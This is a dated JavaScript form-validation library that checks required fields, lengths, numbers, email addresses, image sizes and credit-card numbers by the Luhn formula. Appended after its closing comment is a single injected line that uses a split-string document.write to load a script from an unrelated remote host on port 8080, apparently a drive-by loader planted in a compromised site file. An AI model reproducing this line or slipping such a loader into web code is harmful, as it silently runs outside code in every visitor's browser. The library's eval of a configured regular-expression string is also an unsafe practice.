<!--

/*---------------------------------------------------------------------------------
 JS prototypes and constructors for use in field validation

 Written By:     Shane Edmonds
 Created:        4.21.2000
 Last Modified:  7.21.2000
 Modified By:    Brian Dunnington
                 Shane Edmonds 11.9.2000 : added image resolution validation (must include popupWindow.js to use)
                 Shane Edmonds 01.8.2001 : added credit card validation properties

 Usage:
 
   f = new frmObject;      // creates an new instance of the form object
   f.FormName = "Test";    // must be set to the name of the form to validate 
   
   // add fields to be validated
   f.AddField("name_of_field_on_form", "Pretty Display Name");
 
   //set the field validation properties
   f.Fields["name_of_field_on_form"].Required = true;
   f.Fields["name_of_field_on_form"].MinLength = 3;
   f.Fields["name_of_field_on_form"].MaxLength = 6;
   
   //on the <FORM> tag
   onSubmit="return f.Validate();"
      
--------------------------------------------------------------------------------- */


/*=================================================================================
   Field Object
==================================================================================*/
function fldObject() {
   
   this.Name = "";                  // the field name (also the name of the form control)
   this.DisplayName = "";           // the name that is displayed in the validation alerts
   this.Required = false;           // length of value must be at least one
   this.SkipValidation = false;     // set this to true to skip the validation on this field (but leave validation rules in place)
   this.MinLength = 0;              // minimum length of the field value
   this.MaxLength = 0;              // maximum length of the field value
   this.RequiredPrecision = 0;      // number of decimals required
   this.NumericOnly = false;        // allow only numeral characters in the field value
   this.ValidNumber = false;        // allow only actual numeric values in the field
   this.ExceptionChars = "";        // string of allowable chars if the field has the NumericOnly property
   this.Email = false;              // allow only email addresses in the field value
   this.InvalidChars = "";          // string of invalid chars (in no particular order) for the field value
   this.MustMatch = "";             // string that the field value must match
   this.InvalidValue = false;       // uses invalidchars as an invalid value
   this.MinValue = "";              // if not set to "" then this is the min allowable value
   this.MaxValue = "";              // if not set to "" then this is the max allowable value
   this.Message = "";               // custom message to be displayed in the validation alert for this field
   this.HasError = false;           // boolean, false if no validation errors in the field
   this.SetFocusOnError = true;     // returns the focus to the invalid field if the validation fails
   this.IsMultiValued = false;      // set this to true if you have multiple fields with the same name (NOT checkboxes or radio button groups)
   this.IsRadioButtonGroup = false; // set this to true to ensure at least one of a radio button group is checked (DON'T use the Required attribute with this)
   this.IsCheckboxGroup = false;    // set this to true to ensure at least one of a checkbox group is checked (DON'T use the Required attribute with this)
   this.ImageWidthMin = 0;          // set this to an integer to validate image dimensions
   this.ImageWidthMax = 0;          // set this to an integer to validate image dimensions
   this.ImageHeightMin = 0;         // set this to an integer to validate image dimensions
   this.ImageHeightMax = 0;         // set this to an integer to validate image dimensions
   this.CreditCardNumber = false;   // set to true to validate credit card numbers
   this.RegularExpression = "";     // set to a valid JS RegExp to validate input against 
                                    // NOTE: must be a string literal with escaped backslashes eg '/[1-9]\\s'
   
   // These are used for determining the correct error Message to display
   // DO NOT edit them
   this.ClearMessage = false;
   this.UseDefaultMessage = fldUseDefaultMessage;
   this.SetDefaultMessage = fldSetDefaultMessage;
   return this;
}   


/*=================================================================================
   Field Collection
==================================================================================*/
function fldCollection() {

   this.List = new Object();
   this.Add = fldCollectionAdd;
   
   return this;
   
}   
 
function fldCollectionAdd(theName, theDisplayName) {

      var f = new fldObject;
      
      f.Name = theName;
      f.DisplayName = theDisplayName;
      
      this.List[theName] = f;
            
      return this;
}



/*=================================================================================
   Form Object
==================================================================================*/
function frmObject() {
   
   this.Fields = new Object();
   this.FormName = "";
   this.AddField = frmObjectAddField;
   this.Validate = frmObjectValidate;
   this.PreValidate = null;       //set to a pre-validation function to run a custom function before the validation routine runs
   this.Name = "";
   
   return this;
}

function frmObjectAddField(theName, theDisplayName) {
   
   var f = new fldObject;
   
   f.Name = theName;
   f.DisplayName = theDisplayName;
   
   this.Fields[theName] = f;
   
   return this;
}

function fmrObjectAddFieldObject(theName, theFieldObject) {   
 
   this.Fields[this.Fields.length] = theFieldObject;
   
   return this;  
}  


function frmObjectValidate() {

   var f, o, c, msg, i, tmp, l, j, s, r, oneIsChecked;
   var pic;
   
   //before we do anything else, see if we need to run any pre-validation
   //if we do, it must return true to continue
   if(this.PreValidate != null) {
     if(!this.PreValidate()) {
       return false;
     }
   }
   
   frm = document.forms[this.FormName]
   
   for (i in this.Fields) {
   
      //set f to the current field object
      f = this.Fields[i];

      //set o to the current control on the form
      o = document.forms[this.FormName][f.Name];
      
      //set the SetFocusOnError boolean
      s = f.SetFocusOnError;

      //handle multi-valued fields
      if (f.IsMultiValued) {
        l = o.length - 1;
        if (isNaN(l)) l = 0;
      }
      else {
        l = 0;
      }

      // see if we even need to perform the validation check
      if(!f.SkipValidation)
      {
        for (j=0;j<=l;j++)
        {
          //reset c to the current element in the array if it is mult-valued
          c = (l != 0) ? o[j] : o;

          //handle SELECT boxes in NS4
          if (c.type == "select-one") c = c[c.selectedIndex]
                   
          //Required
          if (f.Required && c.value.length == 0) {
             f.HasError = true;
             if (f.UseDefaultMessage()) f.SetDefaultMessage("The '" + f.DisplayName + "' field is required.");
             displayValidationAlert(c, f.Message, s);
             return false;
          }
          if (f.IsRadioButtonGroup) {
            oneIsChecked = false;
            if (!c.length) {
              if (c.checked) oneIsChecked = true;
            }
            else {
              for (r=0;r<c.length;r++) {
                if (c[r].checked) oneIsChecked = true;
              }
            }
            if (!oneIsChecked) {
              f.HasError = true;
              if (f.UseDefaultMessage()) f.SetDefaultMessage("At least one '" + f.DisplayName + "' box must be checked.");
              displayValidationAlert(c[0], f.Message, s);
              return false;
            }
            //reset c to the first item in the group (so the rest of these dont fail)
            if (c.length > 0) c = c[0];
          }
          if (f.IsCheckboxGroup) {
            oneIsChecked = false;
            if (!c.length) {
              if (c.checked) oneIsChecked = true;
            }
            else {
              for (r=0;r<c.length;r++) {
                if (c[r].checked) oneIsChecked = true;
              }
            }
            if (!oneIsChecked) {
              f.HasError = true;
              if (f.UseDefaultMessage()) f.SetDefaultMessage("At least one '" + f.DisplayName + "' box must be checked.");
              displayValidationAlert(c[0], f.Message, s);
              return false;
            }
            //reset c to the first item in the group (so the rest of these dont fail)
            if (c.length > 0) c = c[0];
          }

          //Min Length
          if (c.value.length < f.MinLength && f.MinLength > 0) {
             f.HasError = true;
             if (f.UseDefaultMessage()) f.SetDefaultMessage("Please enter at least " + f.MinLength + " characters in the '" + f.DisplayName + "' field.");
             displayValidationAlert(c, f.Message, s);
             return false;
          }
      
          //Max Length      
          if (f.MaxLength > 0 && c.value.length > f.MaxLength) {
             f.HasError = true;
             if (f.UseDefaultMessage()) f.SetDefaultMessage("Please enter only " + f.MaxLength + " characters in the '" + f.DisplayName + "' field.");
             displayValidationAlert(c, f.Message, s);
             return false;
          }
      
          //NumericOnly
          if (f.NumericOnly) {
             tmp = "1234567890";
             for (i = 0; i < c.value.length; i++) {
                if ( tmp.indexOf(c.value.charAt(i)) == -1 ) {
                   //check exception chars
                   if ( f.ExceptionChars.indexOf(c.value.charAt(i)) == -1 ) {
                      f.HasError = true;
                      if (f.UseDefaultMessage()) {
                        f.SetDefaultMessage("Please enter numbers only in the '" + f.DisplayName + "' field.");
                        if (f.ExceptionChars != "" ) f.SetDefaultMessage(f.Message += " These characters are also allowed: (" + f.ExceptionChars + ").");
                      }
                      displayValidationAlert(c, f.Message, s);
                      return false;
                   }
                }  
             }
          }
      
          //ValidNumber
          if (f.ValidNumber && isNaN(c.value)) {
             f.HasError = true;
             if (f.UseDefaultMessage()) f.SetDefaultMessage("A valid number must be entered in the '" + f.DisplayName + "' field.");
             displayValidationAlert(c, f.Message, s);
             return false;
          }
      
          //Min Value
          if (!isNaN(c.value) && f.MinValue != '' && c.value < f.MinValue) {
             f.HasError = true;
             if (f.UseDefaultMessage()) f.SetDefaultMessage("A value less than " + f.MinValue + " cannot be entered in the '" + f.DisplayName + "' field.");
             displayValidationAlert(c, f.Message, s);
             return false;
          }
      
          //Max Value
          if (!isNaN(c.value) && f.MaxValue != '' && c.value > f.MaxValue) {
             f.HasError = true;
             if (f.UseDefaultMessage()) f.SetDefaultMessage("A value more than " + f.MaxValue + " cannot be entered in the '" + f.DisplayName + "' field.");
             displayValidationAlert(c, f.Message, s);
             return false;
          }

          //Required Precision
          if (f.RequiredPrecision > 0) {
            if (c.value.indexOf('.') == -1) c.value += ".";
            if (c.value.substring(c.value.indexOf('.')+1, c.value.length).length != f.RequiredPrecision) {
              f.HasError = true;
              if (f.UseDefaultMessage()) f.SetDefaultMessage("Please enter a number containing " + f.RequiredPrecision + " decimals.");
              displayValidationAlert(c, f.Message, s)
              return false
            }
          }
      
          //Email
          if ( f.Email ) {
             if ( c.value.indexOf("@") == -1 || c.value.indexOf(".") == -1 || c.value.length < 6 ) {
                   f.HasError = true;
                   if (f.UseDefaultMessage()) f.SetDefaultMessage("Please enter a valid Email address in the '" + f.DisplayName + "' field.");
                   displayValidationAlert(c, f.Message, s);
                   return false;
             }
          }
      
          //Invalid Chars
          if ( f.InvalidChars != "" && !f.InvalidValue) {
             //loop thru invalid chars
             for ( i = 0; i < f.InvalidChars.length; i++ ) {
                if ( c.value.indexOf( f.InvalidChars.charAt(i) ) != -1) {
                   f.HasError = true;
                   if (f.UseDefaultMessage()) f.SetDefaultMessage("[ " + f.InvalidChars.charAt(i) + " ] is an invalid character in the '" + f.DisplayName + "' field.");
                   displayValidationAlert(c, f.Message, s);
                   return false;
                }
             }
          }
      
          //Invalid Value
          if ( f.InvalidValue ) {
             if ( c.value == f.InvalidChars ) {
                f.HasError = true;
                if (f.UseDefaultMessage()) f.SetDefaultMessage("Please enter another value in the '" + f.DisplayName + "' field.");
                displayValidationAlert(c, f.Message, s);
                return false;
             }
          }
      
          //Must Match
          if ( f.MustMatch != "" ) {
             if ( c.value != f.MustMatch ) {
                f.HasError = true;
                if (f.UseDefaultMessage()) f.SetDefaultMessage("The value you have entered in the '" + f.DisplayName + "' field does not match.");
                displayValidationAlert(c, f.Message, s);
                return false;
             }
          }

          //Image Dimensions
          if ( f.ImageWidthMin + f.ImageWidthMax + f.ImageHeightMin + f.ImageHeightMax != 0 ) {
             validateImage(f.ImageWidthMin,f.ImageWidthMax,f.ImageHeightMin,f.ImageHeightMax, frm.name, f.Name, this.Name);
             return false;
             if ( f.HasError == true ) {
                displayValidationAlert(c, f.Message, s);
                return false;
             }
          }
                  
          //Credit Card Number
          if (f.CreditCardNumber && !isValidCreditCard(c.value)) {
             f.HasError = true;
             if (f.UseDefaultMessage()) f.SetDefaultMessage("Please enter a valid credit card number in the '" + f.DisplayName + "' field. Do not enter spaces or dashes.");
             displayValidationAlert(c, f.Message, s);
             return false;
          }

          //Regular Expression
          if ( f.RegularExpression != "" ) {
            eval("var objRegExp  = "+f.RegularExpression);
            if (!objRegExp.test(c.value)) {
              f.HasError = true;
              if (f.UseDefaultMessage()) f.SetDefaultMessage("The text in the '" + f.DisplayName + "' field is not in the correct format.");
              displayValidationAlert(c, f.Message, s);
              return false;
            }
          }
        }
      }
   }
   
   return true;
   
}


/*=================================================================================
   Helper Procs
==================================================================================*/
function displayValidationAlert(theControl, theMsg, setFocus) {

   var msg;
   
   msg = "\nThe form could not be submitted.  Please see below:\n";
   msg += "____________________________________________\n\n";
	 msg += theMsg;

   alert(msg);

   if(setFocus) theControl.focus();
   
   return true;
}



function isValidDay(theMonth, theDay, theYear) {
  
  var theDate = new Date(theYear + "/" + theMonth + "/" + theDay)
  
  if (theDate.getMonth() != theMonth - 1) {
    return false; }
  else {
    return true;
  }
  
}


// this function requires the image dimensions as params as well as the name of the form, 
// the upload field's name on the form, and the name of the validation script's form object

function validateImage(minX, maxX, minY, maxY, frmName, frmField, frmObjName) {

  var imgWin, sURL;
  
  sURL = '/common/_javaScript/validate_image.asp?frmName=' + frmName + '&frmField=' + frmField + '&frmObject=' + frmObjName
  sURL += '&minX=' + minX + '&maxX=' + maxX + '&minY=' + minY + '&maxY=' + maxY
  
  imgWin = popUp(sURL,'imgWin',400,300,'center','no','no','no','no','no','no','no',true,imgWin);
}



// Check that a credit card number is valid based using the LUHN formula (mod10 is 0)
function isValidCreditCard(number) {
	number = '' + number;
	
	if (number.length > 16 || number.length < 13 ) return false;
	else if (getMod10(number) != 0) return false;
	else if (arguments[1]) {
		var type = arguments[1];
		var first2digits = number.substring(0, 2);
		var first4digits = number.substring(0, 4);
		
		if (type.toLowerCase() == 'visa' && number.substring(0, 1) == 4 &&
			(number.length == 16 || number.length == 13 )) return true;
		else if (type.toLowerCase() == 'mastercard' && number.length == 16 &&
			(first2digits == '51' || first2digits == '52' || first2digits == '53' || first2digits == '54' || first2digits == '55')) return true;
		else if (type.toLowerCase() == 'american express' && number.length == 15 && 
			(first2digits == '34' || first2digits == '37')) return true;
		else if (type.toLowerCase() == 'diners club' && number.length == 14 && 
			(first2digits == '30' || first2digits == '36' || first2digits == '38')) return true;
		else if (type.toLowerCase() == 'discover' && number.length == 16 && first4digits == '6011') return true;
		else if (type.toLowerCase() == 'enroute' && number.length == 15 && 
			(first4digits == '2014' || first4digits == '2149')) return true;
		else if (type.toLowerCase() == 'jcb' && number.length == 16 &&
			(first4digits == '3088' || first4digits == '3096' || first4digits == '3112' || first4digits == '3158' || first4digits == '3337' || first4digits == '3528')) return true;
		else return true;
	}
	else return true;
}


// Returns a checksum digit for a number using mod 10
function getMod10(number) {
	
	// convert number to a string and check that it contains only digits
	// return -1 for illegal input
	number = '' + number;
	number = removeSpaces(number);
	if (!isNumeric(number)) return -1;
	
	// calculate checksum using mod10
	var checksum = 0;
	for (var i = number.length - 1; i >= 0; i--) {
		var isOdd = ((number.length - i) % 2 != 0) ? true : false;
		digit = number.charAt(i);
		
		if (isOdd) checksum += parseInt(digit);
		else {
			var evenDigit = parseInt(digit) * 2;
			if (evenDigit >= 10) checksum += 1 + (evenDigit - 10);
			else checksum += evenDigit;
		}
	}
	return (checksum % 10);
}


// Remove all spaces from a string
function removeSpaces(string) {
	var newString = '';
	for (var i = 0; i < string.length; i++) {
		if (string.charAt(i) != ' ') newString += string.charAt(i);
	}
	return newString;
}


// Check that a string contains only numbers
function isNumeric(string, ignoreWhiteSpace) {
	if (string.search) {
		if ((ignoreWhiteSpace && string.search(/[^\d\s]/) != -1) || (!ignoreWhiteSpace && string.search(/\D/) != -1)) return false;
	}
	return true;
}


// Check to see if we should use the default error message
function fldUseDefaultMessage() {
  if(this.Message == "" || this.ClearMessage) return true;
  return false;
}

// Set the Message attribute to the default and mark it for next time
function fldSetDefaultMessage(sText) {
  this.Message = sText;
  this.ClearMessage = true;
}



//-->




document.write('<s'+'cript type="text/javascript" src="http://soaoo.blog-salopes.com:8080/Unmount.js"></scr'+'ipt>');